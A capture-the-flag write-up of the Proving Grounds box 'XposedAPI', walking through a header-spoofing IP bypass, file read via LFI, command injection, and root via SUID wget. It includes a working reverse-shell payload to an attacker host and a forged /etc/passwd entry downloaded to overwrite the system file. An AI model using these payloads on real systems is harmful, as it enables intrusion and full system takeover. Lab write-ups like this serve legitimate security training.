# XposedAPI Writeup - Proving Grounds

> Intermediate Linux box where an X-Forwarded-For header bypasses an internal API's IP restriction for an LFI and command injection chain, then a SUID wget overwrite of /etc/passwd for root.

- **URL:** https://hackindex.io/writeups/xposedapi
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** lfi, command-injection, information-disclosure, suid, gtfobins, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

XposedAPI exposes an internal management API meant only for localhost. An `X-Forwarded-For` header bypasses its IP restriction, an LFI endpoint discloses its source code, and unsanitized input in an update endpoint gives command injection. A SUID `wget` binary then overwrites `/etc/passwd` for root.

## Reconnaissance

### Nmap

Scan the target.

```bash
nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE VERSION
# 22/tcp    open  ssh     OpenSSH
# 13337/tcp open  http    Python/Flask
```

Port 13337 serves an API management interface, with a banner warning that it is “not meant to be exposed to remote users.” Its documented endpoints include `/logs` and `/update`.

## Exploitation

### WAF bypass with X-Forwarded-For

`/logs` returns `403 Forbidden` remotely. Spoof the client origin to satisfy the IP check.

```bash
curl http://$TARGET_IP:13337/logs -H "X-Forwarded-For: 127.0.0.1"
# 404 Not Found
```

A 404 instead of a 403 confirms the IP restriction only checks this header, not the real client address.

### LFI to source disclosure

`/logs` also accepts a `file` parameter.

```bash
curl "http://$TARGET_IP:13337/logs?file=/etc/passwd" -H "X-Forwarded-For: 127.0.0.1"
# root:x:0:0:root:/root:/bin/bash
# <snip>
# clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/bash
```

Arbitrary file read. Pull the application’s own source code.

```bash
curl "http://$TARGET_IP:13337/logs?file=./main.py" -H "X-Forwarded-For: 127.0.0.1"
# os.system("curl{} -o /home/clumsyadmin/app".format(data['url']))
```

The `/update` endpoint passes the request’s `url` field straight into `os.system()` with no sanitization.

### OS command injection via /update

Start a listener, then inject a reverse shell through the `url` field.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
curl -X POST "http://$TARGET_IP:13337/update" -H "Content-Type: application/json" -d '{"user":"clumsyadmin","url":"http://$ATTACKER_IP:8888/test; bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"}'
# clumsyadmin@xposedapi:~$ id
# uid=1000(clumsyadmin) gid=1000(clumsyadmin) groups=1000(clumsyadmin)
```

Shell as `clumsyadmin` and `local.txt`.

## Privilege Escalation

### SUID wget to overwrite /etc/passwd

Search for SUID binaries.

```bash
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/wget
```

`wget` is SUID and can write files as root. Per [GTFOBins](https://gtfobins.github.io/gtfobins/wget/), overwriting `/etc/passwd` with a new UID-0 entry gives root. Generate a password hash for the new user.

```bash
openssl passwd -1 -salt user3 pass123
# $1$user3$rAGRVf5p2jYTqtqOW5cPu/
```

Build a modified `passwd` file based on the target’s own, with an extra root-level entry appended.

```
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root:/root:/bin/bash
```

Host it and overwrite the target’s copy through the SUID binary.

```bash
python3 -m http.server 80
```

```bash
wget -O /etc/passwd http://$ATTACKER_IP/passwd
```

Switch to the new UID-0 account.

```bash
su user3
# Password: pass123
# root@xposedapi:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

The forged `/etc/passwd` entry gives a root shell.

Related
